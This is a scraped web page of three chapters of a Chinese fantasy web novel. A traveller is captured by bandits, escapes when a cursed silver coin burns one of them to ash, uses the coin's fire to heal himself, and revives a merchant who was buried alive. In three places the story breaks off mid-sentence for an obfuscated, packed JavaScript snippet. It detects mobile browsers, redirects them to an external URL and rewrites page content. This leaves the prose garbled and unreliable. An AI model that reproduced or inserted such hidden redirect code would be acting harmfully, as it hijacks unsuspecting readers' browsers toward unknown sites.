宋云州几步奔近,却蓦地止住了脚步。 他离近了才看清,中年男人身上沾满了尘土,脑袋也被打破流血。反观年轻男人,好整以暇地站着,脸上甚至还挂了笑意。 宋云州心头霎时警铃大作。 中年男人因宋云州这一声吼分散了注意力,转头向这边看了一眼。 就这一错神的间隙,年轻男人灵敏地闪身避过击来的木板,四两拨千斤地卸去中年男人的力道,而后抓紧木板往自己这侧一拽,将木板另一端的中年男人拉近。 在对方还没反应过来之际,年轻男人一脚踹出,正中中年男人的上腹。 这一脚劲头极猛,中年男人直接被踹飞出去,后背重重撞上货车边沿,连带车上被震落的蔬果一同摔在地上。他的脸涨得通红,在地上痛苦地扭动。 这一切都发生在电光石火之间,宋云州还没来得及拔出匕首,年轻男人就已将目光对准了他。 打不过。 跑。 宋云州脑海中刚冒出这个念头,就听破风声自背后袭来,木棍击打的闷响声后,剧烈的疼痛从左腿膝弯处炸开。 宋云州顿时摔跪在地,硬是攥紧匕首没有脱手。他咬牙挣扎着想赶紧站起来,一柄出鞘的利剑却比他的动作更快,抵住了他的喉咙。 宋云州识相地没有再动,他维持跪地的姿势,缓缓抬起头,顺着剑锋上看,对上了年轻男人如鬼魅般低垂的视线。 年轻男人对宋云州露出一个与方才一模一样的友善微笑,心情愉快地说:“本来看你没多少油水,想放你一马,没想到你又主动撞回来了。那就怪不得我了,毕竟,送到嘴边的肉我不可能推开两次。” 38.第 38 章 年轻男人说话的同时,另有一个高大健壮的男人从宋云州身后绕了过来,手中提着一根木棍,站在了年轻男人身旁。 这两人显然是一伙劫道的,年轻男人在明面上吸引目标的注意力,当他处理不过来的时候,就由另一人从暗处偷袭。 宋云州便是这么着了道。 年轻男人举着剑歪了歪头,另一人即刻会意上前,夺下宋云州的匕首,动作利落娴熟地拿出绳索,将宋云州的双手反绑在身后。 宋云州的左腿已经痛到麻木,冷汗顺着他的眼睫滴落,他顺从地不做任何反抗,任由高个男人捆紧他的双手,粗粝的麻绳深陷进他手腕的皮肤里,磨勒得生疼。 宋云州忽略掉身体上的不适,用相对平和的语气对年轻男人道:“你既然看得出我没钱,劫我又有什么意义?” 宋云州猜不到这两人的下一步计划,趁着嘴还没被堵上赶紧没话找话,试图寻找转机。 年轻男人见宋云州被绑结实了,姿态轻盈地收了剑。他许是第一次见到处于这种状态,竟然不吵不闹,还能镇定地和他说话的人,饶有兴致地挑眉道:“谁说我们只劫财?能卖了换钱的我们都要,就比如——” 年轻男人故弄玄虚地拖长声调,俯身凑近宋云州,两指掐住他的下巴,迫使宋云州最大限度地仰起脖子看向他。 年轻男人之前一直将关注点放在宋云州有多少随身财物上,此刻才认真去看宋云州的面容。一看之下,不由一惊。 面前人的一张脸,白皙细腻得没有任何瑕疵,纤长睫毛半遮下的眼眸黑白分明,淡红的薄唇盈着水色。 堪称明艳的美貌,并未让此人成为徒有其表而内里空洞的美丽人偶。 因为宋云州的眼神虽宁静却极有神采,好似蚌壳初开时与天光伴生的那一抹无上珠光,灵动、鲜活,而坚韧。 年轻男人看直了眼,轻轻倒吸了一口气,都到嘴边的话竟然也能忘了,只剩下喃喃赞叹:“长得……还真是不赖呀。” 这样好的皮相,割了舌头卖去当劳力实在是暴殄天物。 年轻男人心思活络,转瞬想到了一个更赚钱的路子,于是发自内心笑得更加畅快。他戏谑地掐着宋云州的下巴晃了晃:“喜欢你这口的贵族们一定愿意花大价钱买你取乐,整个卖出去太亏,分成一夜一夜卖正合适。” 年轻男人满意地看到宋云州漂亮的双眼畏惧地颤了颤,松开手,指挥同伙先去解决另一个目标。 宋云州低下头缓解僵硬的脖颈,暗中松了一口气。听到年轻男人这么说,他反倒放下心来,只要这伙歹徒不就地杀他,他虚与委蛇着,总能找到逃走的机会。 另一边的中年男人就略显倒霉了一些,他被年轻男人踹倒,应是伤得不轻,半天都没能再爬起来。 高个匪徒几步走过去,绑了中年男人的手脚。中年男人奋力挣扎咒骂无果,又变为苦苦哀求。 高个匪徒伸手撕掉中年男人的一块衣料,团成团塞住了他的嘴,随后拽着他的后脖领往道边拖。 宋云州眼看着中年男人挣动着被拖进了林子里,视线转向身边,对同样往那个方向看的年轻男人问道:“你们要对他做什么?” 年轻男人随口回答:“见了血不好清理,还是活埋方便些。” 宋云州心头一骇,尽可能为那无辜的中年男人求情道:“你们把钱财和货物都拿走不就好了,为什么一定要杀他?” 年轻男人轻笑一声,嘲笑宋云州的天真:“放他活口,由他散出消息,短时间内就不会再有货商敢走这条路了,我们劫谁去?” “当然,我们有时也会把人绑走卖掉,但那是在很缺钱的时候,才勉为其难干的事。”年轻男人补充道,“带着活人行动实在麻烦,既要避开巡查,又得管他们的吃喝,还得时刻提防他们逃跑,哪有直接把人杀掉省心。” 说着,年轻男人状似无奈地摇摇头,瞥了宋云州一眼,皮笑肉不笑地道:“不过,你不一样,比他们更乖觉,也更值钱。你最好一路都能保持这样的状态,打消伺机逃跑的念头。我可不想把你的腿打断,那样就卖不出好价钱了。” 长风掠过,幽谧的林深处隐隐约约传来铁锹挖土的动静。 年轻男人干等着无聊,索性倚在了他的马匹身侧,和宋云州再闲聊几句:“其实你真应该去我告诉你的那个村子里看看,可惜现在没机会再去了,不然你一定会感谢我的。” 年轻男人见宋云州的神色依旧淡淡的,忍不住问道:“你就不好奇我为什么这么说吗?” 宋云州直觉年轻男人接下来不会是什么好话,但还是轻舒一口气,顺着他的意思问:“那个村子有什么特别的吗?” 不出所料,年轻男人卖了个关子,顿了顿才继续说:“因为等你到了那里就会看到——一整个村子的尸体!” 宋云州:“……” 年轻男人讲的仿佛是一个笑话,自己把自己逗笑了,畅快地笑了好一会儿才停下。 年轻男人发现宋云州没笑,以为是他没听明白,好心解释有意思的地方在哪儿:“我把他们全杀光了,虽然看起来不是那么赏心悦目,但除了金银之外,我什么都没拿。留下的东西你想要什么都可以随便自取,不要钱的东西可不就是便宜嘛!哈哈哈哈哈——” 宋云州随年轻男人的视线,再次看向马鞍边那个被撑得都快要裂开的布袋,脊背一阵恶寒。 铁锹声不知什么时候停了,高个劫匪埋完人回来,弯腰一把扛起了跪在地上的宋云州,把他扔到了中年男人的货车上。 高个劫匪放下宋云州后没走,反而将手伸向了宋云州的裤子口袋。 刚才扛人的时候他感觉到这里有硌人的硬物,还以为是金币,拿出来看了一眼,却是两枚乌漆嘛黑看不出模样的破烂。 高个男人鄙夷地瞥了宋云州一眼,随手就要把古银币扔到路边的草丛里。 “别扔!” 宋云州急忙出声阻止,引来两名歹徒不解的注视。 宋云州心思急转,接着之前跟年轻男人说的往下编,绘声绘色道:“那是家人给我留下的遗物,让我拿着它来伦达奥城投奔亲戚。别看它们破旧,那可是古董,拿给懂行的看看没准还挺值钱的,你可千万别乱扔。” 古银币放在劫匪手里,偷偷拿回来容易。万一被他们弄丢了,那可就真找不回来了。 宋云州的谎话说得高个男人一愣,他看了看古银币,又征求意见似的看了看身边的同伴。 年轻男人自然同样从银币上看不出端倪,一摆手,让高个子先把它装起来,回头再说。 年轻男人骑上他的那匹马,高个劫匪则负责驾驶那辆马拉货车。 谁知,高个劫匪刚坐到货车上,正要拿起马鞭时,他突然没来由地怪叫一声,像撞了鬼一样扔开马鞭,迅速跳下货车逃开。 宋云州和年轻男人万分不解地看过去,竟惊诧地看到高个劫匪的衣袋在燃烧。 或许不能将之称为“燃烧”,因为这“火焰”根本不是红色的。 那是一种极其幽深的绿色,仿佛来自深渊炼狱,与黑色交织、升腾,熊熊不熄,却没有任何温度。它像鬼火,更像鬼怪猛然睁开的眼瞳,令人望而生畏,只想远离。 高个劫匪凄厉的嘶吼越发高昂,他努力自救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋云州左腿被木棍打伤的地方已经肿胀起来,完全回不了弯,双手又被绑无从借力,他没办法从地上爬起来。 宋云州干脆右腿用力蹬地,躺在地上连续几个翻滚,移动到了高个男人被烧成的灰烬旁。 刚才高个男人抢走宋云州的匕首,别到了自己腰上,此时匕首皮革制成的鞘烧没了,刀刃还在。 宋云州双手在地面上摸索着,拿到刀刃翻转过来割断绳索。他看不见刀刃的走向,不慎被利刃划破了手心。 冷意与痛意齐至,宋云州轻嘶一声,微皱着眉挣开了束缚双手的绳索。他来不及查看手心的伤口,第一件事就是伸手去拿掉落在灰烬中的古银币。 看见高个男人被烧死,过了最初的震惊之后,宋云州倒并不怎么害怕,他之前摸过银币很多次,都没有出现危险。 诡异的火焰大概是纳卡诺提前设下的魔法,用来帮助他抵御危险的吧。 可这过于惊悚的效果,不太像纳卡诺的风格,他该是喜欢一击制敌的,干脆利落,不拖泥带水。 不可否认的是,这火焰还是很有效的,威慑力十足,直接把那个变态吓跑了。 只是宋云州觉得奇怪,为什么纳卡诺连这种事都不提前告知他?要是高个匪徒没主动拿走古银币,那他就真要被拉去卖了。 而且,这样提前设下的魔法就能避免引来萨里希了吗? 思索间,宋云州的指尖触及古银币。 意想不到的事情骤然发生,幽绿色火焰竟再度出现,极速扑上了宋云州的手。 39.第 39 章 宋云州心里一紧,慌忙撒手丢开古银币,赶紧用左手拍打右手上的火焰。 不成想,火焰没熄灭,反而被引到了左手上。 宋云州盯着跃动的绿光冷汗直冒,数息后大脑从危机意识中反应过来,才发觉这火焰没有灼烧的痛意,倒像流水般冰冰凉凉,萦绕在手上带来很舒服的感觉。 宋云州将双手举到眼前,任幽绿火焰缭绕,惊奇地看到火焰舔舐净了他手上沾染的血迹,不仅如此,左手掌心的伤口居然在以肉眼可见的速度愈合。 火焰止步于宋云州的手腕处,不再向他的手臂蔓延。伤口彻底消失后,火焰随即熄灭。 宋云州的双手干净如初,这时他再尝试拿起古银币,就没有任何异象出现了。 纳卡诺同时在古银币上施了治愈的魔法吗? 宋云州试探着把古银币按在了他的伤腿上,等了几秒,无事发生。 宋云州暂时放弃,装好两枚古银币,双手撑地站起身来,拖着伤腿尽可能快地往树林里走。 他留意着泥土和草叶被拖拽压折的痕迹,找到了那处新动过土的位置。 宋云州环顾四周,没看到铁锹的影子。来不及再找,他拿起一边稍微锋利些的石块,跪在地上就开始用力刨土。 高个劫匪可能是料定中年男人逃不出来,因而土压得并不是很实,石块还算轻松地将土刨出一个凹坑。 宋云州见土坑的深度有了一些,担心伤到下面的人,放下石块改用手挖。不一会儿,一截棕褐色的布料出现在他眼前。 宋云州记忆中这是中年男人裤子的颜色,于是立刻换到另一边去先挖脑袋。 中年男人侧躺在坑底,已经没了呼吸。宋云州迅速割断绑住男人双手的绳索,揪走扔掉堵嘴的碎布,将他的身体放平。 宋云州没有多余的力气把中年男人从坑里拖出来,于是他滑进坑里,跪直身体,右手叠握在左手背上,给男人做起心脏复苏。 宋云州对这种急救手法的了解程度仅限于科普视频,无从确认他的动作是否正确。但这是目前唯一的办法,本着能救就救的原则,宋云州不想放弃。 时间好似暂停,又好似飞速流逝。宋云州一下接一下地按压着,汗水滴落在他的手背和男人沾满泥土的衣服上。 抢救不知进行了多久,宋云州的力气渐渐耗光,动作迟缓下来。中年男人仍双眼紧闭,脸色发青,找不到一丝生气。 可能……就这样了。 宋云州不无遗憾地想着,他最后按压了几次,决定停手了。 不料,就在宋云州即将撤手的前一刻,中年男人突然诈尸般惊动,猛地张嘴长抽了一口气,随即睁开眼剧烈地咳嗽起来。 宋云州被他吓了一跳,往后一躲,随即涌来的是惊喜的情绪。他看着中年男人半侧过身朝着地面,一手撑地,一手捂着脖子,疯狂地咳嗽。 救回来了。 宋云州彻底舒了一口气,脱力地歪倒在土坑边缘的斜坡上,缓慢喘息着放松休息。 中年男人青白的脸色因咳嗽变得通红,终于咳出了呛进气管里的泥土,顺过这一口气儿。他大口地呼吸着空气,死里逃生后一时激动得无以复加,双手捂脸呜呜地哭了几声。 片刻后,中年男人才意识到身边还有另一个人在,粗糙大手抹去眼泪,他转过脸看向宋云州,声音里还带着鼻音:“是你救了我?” 宋云州的衣服裤子同样沾满了土,这种情况中年男人不用猜也知道答案,立刻凑过来对宋云州千恩万谢。 若不是宋云州拦得及时,中年男人甚至都想狠狠给救命恩人磕几个头。 中年男人激动的心情渐渐平复,想起来还有那两个谋财害命的歹徒,顿时噤了声,变得紧张警惕起来,双手扒住坑边警惕地朝外窥探。 他压低声音问宋云州:“你是怎么逃过来的?他们是不是还在附近?” 宋云州安慰似的笑了笑:“一个死了一个跑了,我们安全了。” 中年男人闻言瞪大了眼,神色震惊地问:“你杀的?!” 宋云州点头。 中年男人难以置信的目光落在宋云州的伤腿上,不言而喻,他不是很相信这个一上来就被打伤腿的人,还能有反抗歹徒的能力。 宋云州善解人意道:“不骗你,出去看看就知道了。” 其实由不得中年男人不信,宋云州能跑过来救他已经很说明问题了。 中年男人关心道:“你的腿还能动吗?” 宋云州轻轻摇头示意自己没事:“但可能要麻烦你拉我上去了。” 中年男人二话不说,架着宋云州的手臂就把他从土坑里带了出来。 宋云州当即表示后面的路,他自己慢慢走就可以了。 中年男人却不放手,坚持道:“你救了我的命,这点小事我还是能为你做的。” 中年男人力气不小,有了他的助力,宋云州伤腿的压力得到分担,连疼痛都减轻了许多。 宋云州没再拒绝,和中年男人一起回到山路上。 马匹和货物都好端端地留在原地,中年男人的心情更好了。他的注意力被脚下的东西吸引,问道:“这是什么?” 高个劫匪遗留的黑色灰烬被风吹得满地乱飘,散到了各处。 宋云州答道:“是那个死掉的劫匪,烧剩下的残骸。” “……烧?”中年男人的舌头打了结,他还从没见过有什么火能把人烧得连骨头都不剩。 恍然间,中年男人将宋云州说的话前后联系起来,迟疑地转头看向近在咫尺的年轻人:“你……” 宋云州平静地迎上他的视线,垂在身侧的手又握得紧了些。 ——掌心中是一枚腐朽的古银币。 早在中年男人刚醒来时,宋云州就悄悄从口袋里取出了一枚古银币藏在手中,用以防身。 宋云州不想眼睁睁看着无辜者枉死,所以甘愿尽力救人。可万一这人和那年轻男人一样存了歹心的话,宋云州丝毫不介意再亲自送他上路。 中年男人似乎想到了什么,又想不太通,说完一个“你”字之后就卡了壳。他索性不再费劲去想,扶宋云州在货车边缘坐下,从成筐的蔬果中间摸出一个小布袋,拿出布袋里的一罐药膏。 中年男人打开药膏盖子,递到宋云州面前:“这药治跌打损伤还挺见效的,你抹到腿上,过一两天就能消肿。到时候我再带你去伦达奥城的医馆里,找个医师好好瞧瞧,别在骨头上落下什么病根。” 浓重的药草味道扑面而来,宋云州接过深绿色的草药膏,抬眼看向中年男人的脑袋:“你的头被打破了,比我这更严重,还是我先帮你上药吧。” 宋云州不说,中年男人都要忘了自己头上的伤口,他伸手摸了一下,立时疼得龇牙咧嘴,却还是大大咧咧地摆手道:“没什么大事,血都不流了,用不上这药。” 宋云州不管他如何说,两指取了一小块药膏,手抬到半空,够向中年男人的脑袋。 中年男人拗不过,又不好让宋云州空等,赶紧弯腰低头让他上药。 药膏涂了厚实的一层,中年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186865|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人实在是不好意思,又朝宋云州连声道谢。 宋云州试过这药膏没毒,对中年男人的提防总算松懈下来。他把药膏罐放到一边,小心缓慢地卷起左侧的裤腿,查看伤处的状况。 整个膝弯一片青紫肿胀,惨不忍睹。宋云州看得微微皱眉,若是等它慢慢自己好,恐怕七八天都没法正常走路,一定会影响接下来的行程。 宋云州没抹药膏,反而拿出匕首,毫不手软地在伤处划了一刀,殷红的鲜血瞬间涌了出来。 中年男人被宋云州异常的举动惊到了,下意识想夺过匕首制止他,大声劝阻道:“想放瘀血也不能这么干!” 宋云州咬着牙强忍下痛呼,额头上满是冷汗,根本没有精力再回答中年男人的话,他因疼痛而微微颤抖的手成掌立起,掌心向外,示意对方别管。 宋云州在刚才古银币治好他手上的划伤后,就想这么干了,只是苦于没有绝对的把握,不敢贸然尝试。 那时要是治不好,腿上平白多挨一刀,更加没法救人了。 现在其他问题都解决了,宋云州自然要抓住这一线可能。古银币上的治愈魔法似乎是一定要见血才能激活,一道口子而已,反正情况也不会更坏了。 宋云州在血液涌流的那刻,将手中的古银币轻轻靠在了伤处。 果真没让宋云州失望,古银币仿佛能够感受到他血液的召唤,幽绿火焰如蛇信般探出,准确地捕捉到血液来处,火焰猛然增大,瞬息间吞没了他的左腿。 表面看起来宋云州置身烈焰,实际上他的左腿像是浸没在清冷溪水中,汩汩水流冲刷轻拍着,血液消失,伤口愈合,青紫褪去,变幻为正常的白皙肤色。 倒是无需宋云州提醒,中年男人在幽绿火焰腾起的瞬间就自发地远远躲开,隔着八丈远目瞪口呆地注视着宋云州的举动。 直到幽绿火焰熄灭散去,中年男人才敢重新靠近宋云州,盯着他完好如初的腿,灵光一闪想明白了先前的困惑,问了出来:“你是魔法师吗?” 中年男人万分恭敬的语气,令宋云州开始思考是否要应下这个名头。 魔法师之名或许可作为威慑,为他挡掉些许潜在的危险,但如果这人将此事宣扬出去,会不会引来无关者的过多关注,不利于他暗中行事。 宋云州尚在思索,中年男人就已将他的沉默默认为是对自己多嘴的厌烦,他生怕惹得魔法师不高兴,赶在宋云州开口前,忙不迭地收回刚才的话:“我不问了不问了。” 中年男人对宋云州的感激中陡然加入了敬畏,越发小心与礼貌,主动提议道:“你接下来想去哪儿?这条路上最近的城池是伦达奥城,我可以用货车载你过去。” 宋云州求之不得,马车比走着快多了,最重要的是,他正想找个认识路的人。 宋云州并没有直接表现出来,而是先问:“你要去伦达奥城?” 中年男人肯定道:“我就是伦达奥城的人,回家去。” 宋云州有意提起年轻男人提供的信息:“我之前听人说,伦达奥城好像戒严了?” “戒严了?!”中年男人的反应比宋云州当时还要强烈,显然并不知情,他粗声粗气地问,“为什么?!” 宋云州没办法从他这里印证消息的真伪,只能继续道:“说是有人想刺杀城主。” 此言一出,中年男人怔了怔,脸色突然变得凝重起来。 几乎没有任何犹豫,中年男人抬头对上宋云州观察他的眼神,果决道:“我女儿还在城中,无论发生什么,我必须得回去。” 40.第 40 章 神殿午间日照充足,静谧之中山明水秀,万物都笼罩在一片暖融的朦胧白光下。 纳卡诺怀抱着昏迷不醒的虎崽走入黑雾,来到他的房间。 虎崽身上哪里有什么残存的魔法,不过是赫狄弥斯的灵魂与意识相融,暂时离开了这具躯壳。只留皮囊,自然不会再有呼吸和心跳。 纳卡诺刚一走进客厅,一小团自由飘浮在半空中的光球马上迎了过来,凑近他臂弯里的虎崽细看。 “原来是变成了一只小老虎啊,我说怎么站不起来呢。”清朗悦耳的年轻男声从光点中传出,略显兴奋地同纳卡诺闲聊,“毛茸茸的,你看它多可爱。” 闪耀着金色光芒的光球如小火苗般跃动,形态无定地变幻着,在纳卡诺眼前晃来晃去。 纳卡诺瞥了它一眼,轻哼一声:“烦人精。” 话音中并非厌烦,更像是长辈对小孩子含着宠溺的无奈吐槽。 小光球里透出一两声了然的轻笑,继续围着虎崽转悠,看到黑黄白三色交错间有一抹别样的色彩,好奇询问道:“哎,它脖子上那是什么……” 小光球话未说完,被突然涌现出的黑雾遮挡了视线。纳卡诺故意避开它,把毫无知觉的虎崽放到了他的床头。 虎崽脖子上的东西一晃而过,小光球没看清,等纳卡诺再出现到它眼前时,臂弯里已空空如也。 小光球的注意力转到纳卡诺身上,担忧地再一次劝说道:“你真的不打算逃吗?这一次的异变比先前的所有次加起来都要严重,太危险了。” 纳卡诺并不在意地随口道:“大人还轮不到小孩子来保护,少操心。” 小光球觉得这话说得不对,认真反驳道:“现在可是你看起来比我年纪小了。” 纳卡诺幽幽地看向小光球,无声甩过一个警告的眼刀。 小光球往后缩得离纳卡诺远了点儿,理智让步道:“好吧好吧,还是你看起来更老。” 纳卡诺走到桌边倒了一杯水,杯子刚送到嘴边,就听小光球又问:“那个人是谁呀?我的灵魂拟态好像一直跟在他身边,将醒未醒的时候看见的都是他。” 纳卡诺的动作顿了一下,才抬高手臂让水流入口中,恍若未闻般没有回答。 小光球离不开这个房间,只能在这有限的空间里飞来飞去,环绕音效在纳卡诺周身展开:“你把虎崽抱过来,他同意了吗?为什么他没有跟来?我还想见见他呢。你把我的事跟他说了吗?要是让他知道虎崽会说话,他是不是会被吓一大跳?” 可能是在圣坛沉睡太久,小光球找不到人说话,无聊透顶,现在终于找到了可靠的听众,几年来攒下的话一股脑地蜂拥而出。 只不过,它所说的内容,听众并不是很想听。 见纳卡诺不回答,小光球自己飞到窗边,紧贴着窗玻璃往下看,降愿台上空荡荡的。 小光球紧贴着玻璃来回移动,变换着观察角度,寻找宋云州的身影。它像一块闪闪发光的小抹布一样在玻璃上擦来擦去,发出“咯吱咯吱”的摩擦动静。 宋云州当然不在这里,小光球从窗边退开一点,锲而不舍地向纳卡诺追问:“他干什么去了?什么时候才能回来?” 小光球实在太想见到宋云州,它话音和动作里的期待仿佛都要化作实体,满溢出来。 纳卡诺毫不怀疑如果解除魔法禁制,这家伙能一路追到伦达奥城去。 由于和玻璃贴得过于紧密,小光球的一面被压成扁平状,过了好一会儿才慢慢圆润回来。 纳卡诺实在看不下去,果断提醒道:“你累了。” 小光球已经又贴回到玻璃上,头也不回地疑惑否认:“嗯?没有啊。” 纳卡诺接着道:“你困了。” 小光球的目光仍在神殿四处搜寻,确信地否认:“不可能,我刚醒。” 不管小光球自己怎么说,一缕黑雾拦腰缠住它,强行将它拖离了窗边。 小光球还想挣扎着往窗边飞,纳卡诺拿出家长的威严,不容置疑道:“不困也给我回去睡觉。” 缠住小光球的黑雾崩散,纳卡诺将赫狄弥斯的灵魂与意识再次分离。 圣神的意识被赶回了圣坛,灵魂自然重新回到了虎崽的身体里。 卧室床上,布瑞德的肚皮开始随着呼吸起伏,慢慢睁开了双眼。 布瑞德没在一睁眼时就看到宋云州,以为宋云州躺在另一侧,下意识翻了个身,却仍没有找到他。 布瑞德猛地睁大好看的杏仁眼,支起身体卧在床上,清醒过来。它惊觉身处在一个完全陌生的环境里,所有熟悉的布置、味道,都和宋云州一起消失了。 布瑞德一下子着了急,扯着嗓子嗷嗷叫着从床上跳到地下,冲出卧室,扑腾着四条小短腿,在偌大的房间里左奔右突,寻找回到宋云州身边的路。 布瑞德希望用叫声引来宋云州的注意,同时它沿着墙根嗅闻搜寻,站起来扑打,想要找到一扇可以出去的门。 纳卡诺起初并不理布瑞德,觉得它叫累了自己就停了。他的房间里不存在普遍意义上连通外界的“门”,一点不担心一不注意虎崽会偷跑出去。 没想到等了半天,布瑞德越叫越起劲,嗓子都喊哑了居然还在继续叫。 持续不断的噪音让纳卡诺的耳膜都开始隐隐作痛,他实在忍受不了,一挥手用魔力让虎崽暂且睡去。 布瑞德正扬起两只前爪扑打柜门,动作突然一滞,眼睛缓慢地眨了两下,便失力般倚靠着柜门滑落,闭上眼倒在了地上。 黑雾将它托起,送回柔软的大床上。 纳卡诺跟在黑雾后面走进卧室,看黑雾把虎崽轻轻放回床上安顿好。 阳光穿过落地窗,洒满整张床铺,虎崽皮毛鲜亮的颜色在阳光的照耀下越发浓郁,仿佛散发着比太阳更胜的暖意。 纳卡诺看着看着,侧身在床边坐下,拢近虎崽,两只手捏了捏虎崽软乎乎的脸颊,轻轻上提,拉扯出一个笑脸,让虎崽用“微笑”补偿了他刚才遭受的贯耳魔音。 纳卡诺看着虎崽搞怪的表情,也露出了一个浅淡的微笑。只是这笑意尚未来得及加深,纳卡诺又想到了什么,微扬的唇角倏然回落。 纳卡诺松了手,把虎崽抱进怀里。他转正身体,面朝落地窗外的山景,一下接一下地缓缓抚摸着虎崽的脊背。 纳卡诺坐在稍显刺目的阳光里,微眯起眼,静静地望向远处。 “她离开神殿了,你不拦吗?” 一道苍老的声音响起,拉回纳卡诺飞远的神思。 纳卡诺转头看去,白袍老者不知何时出现在卧室门口,端立着。 兰缇娅早晨和纳卡诺吵过之后,回屋里拿了剑,就直接去后山骑马离开了。 纳卡诺无所谓地说:“兰缇娅的能力足以自保,该小心的是不慎撞见她的倒霉鬼。” 老者面无表情道:“你知道我问的不是这个。” 纳卡诺静了静,再开口时同样面无表情:“她赶不上的,改变不了任何事。” 老者得到了想要的答案,略一颔首,转言道:“你的胆子未免也太大了,那两枚古银币上的焚身凶咒除你、圣神与萨里希之外,再无人可直接触碰而不死。你就真敢那么交到他手里,不怕他也被烧死吗?” “事实证明,他确非常人。”纳卡诺并没有多余的表示,仿佛他递给宋云州的只是一颗无害的苹果。 老者有些担忧:“劫火一起,萨里希一定会来。万一,他被萨里希说动,选了那一边……” “既然预言将有这场劫火,躲不过,那就让它烧。”纳卡诺倒是十分决绝,“如果真遇上萨里希……” 纳卡诺的话音也是一顿。 “不必太过担心。”老者安慰纳卡诺,也是在让自己放宽心,“天命,终究归于神殿。” 纳卡诺不吃这一套虚头巴脑的,他只信奉能切实握在掌中的力量。 “他会回来的。”纳卡诺极其肯定地说。 老者睁不开眼睛,脸上的神情无法准确表达心境,但纳卡诺很清楚他现在是震惊且疑惑的。 纳卡诺轻轻眨了一下眼,看向沉睡在他怀中的布瑞德,声音轻淡—— “为了它。” *** 入夜,临近山道的一处缓坡上。 宋云州和中年男人一同倚靠在一截倒地的朽木上,身前燃着一簇篝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192459|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火,分食中年男人携带的干粮。 中年男人是一定要回家的,比起自己到处乱碰,宋云州还是决定和他一起去伦达奥城碰碰运气。 一路走来,宋云州大致摸清了中年男人的情况。 中年男人名叫海勒姆,自幼生长在伦达奥城中,继承父母的活计,以贩卖蔬果为生。他和妻子从邻近的村子上收购农家自种的蔬果,运回伦达奥城以稍高的价格卖出,赚取差价。勤勤恳恳工作的收入还算可观,妻子病逝后就由他一人抚养女儿。 许是这人和庄稼作物打了一辈子交道,宋云州从他的言谈话语感觉得出他的淳朴和实在。 宋云州本想延续他那套“投奔亲戚”的说辞,谁知海勒姆被魔法吓到后,根本就没敢再问他的事情。 这样似乎也不错。 宋云州安静吃着海勒姆拿给他的烤饼,自顾自地想。 海勒姆几口吃完饼,拿出水袋正要喝,想起身边的宋云州,立刻把水袋递给他先喝。 宋云州道了谢,接过来喝了几口。 海勒姆看着宋云州喝水,突然想到什么,没头没尾地叮嘱道:“往后你得小心留神,他们吃了大亏,一定会回来报复的。” 宋云州把水袋递还给他,顺带想了想,奇怪道:“他们?打劫的不止他们两个人吗?” 海勒姆接过水袋,顾不上喝,神情严肃地对宋云州道:“何止是两个人,说两百个人都少。他们都是戈多尔芬兄弟盟会的人。” 宋云州没想到那劫匪竟然还有组织,起了探究的欲望:“那个兄弟盟会是什么?你怎么知道今日打劫的是他们的人?” 海勒姆一路上都在思考能和宋云州闲聊的话题,奈何觉得哪个都不好,此时好不容易看宋云州流露出想听的意图,他立刻竹筒倒豆子似的说出他知道的所有信息。 海勒姆道:“戈多尔芬兄弟盟会是这片大陆上最臭名昭著的劫匪团伙,杀人劫掠,无恶不作,流窜在五个王国境内。他们宣称什么‘只要有人的地方,都会遭到他们的洗劫’,好多人都说只有神明所在的悬铃森林,那种进去几个死几个的地方,才没有他们的足迹。 “那个骑马的年轻男人腰带上,别着一枚圆形的铜扣,上面刻的徽记是断了一只角的山羊头骨,这就是戈多尔芬兄弟盟会的标志物。 “其实现在倒还好了,戈多尔芬兄弟盟会的人收敛了不少。前些年战乱的时候,他们就像杀不净的蝗虫一样四处蔓延。他们最鼎盛的那阵,纠集起来一帮恶徒,一个村子一个村子地抢,一个镇子一个镇子地杀,所过之处几乎没有任何活口。不止是赶路的货商,几乎到了人人自危的程度,甚至连不少没有自保能力的小贵族都被灭了门。还有很多游手好闲的恶棍,冒充他们的旗号大行劫掠。” 海勒姆光说着都觉齿寒,拿水当酒喝了一口。 宋云州不解道:“他们这样恶劣的行径,王室没有派兵讨伐吗?” 海勒姆摇摇头,略带愤恨地冷嘲道:“不抢到他们头上,谁会真去管?轻飘飘的一句‘派兵围剿、会处理’,强逼百姓们砸锅卖铁捐军资。最后钱全落进了他们的口袋,没人真去搜捕戈多尔芬兄弟盟会的人,只是杀掉几个无辜流民,挂起他们的头颅安抚民心。” 宋云州沉默地盯着跃动的火苗,似有一口气梗在心口,不知道该说什么。 海勒姆絮絮说起戈多尔芬兄弟盟会做过的其他恶事,这些都是他去村庄里收果蔬时,从路过的其他商人那里听来的。 他自己说得热火朝天,半天没再听到宋云州的声音。 海勒姆看向身侧,发现宋云州不知什么时候睡着了。 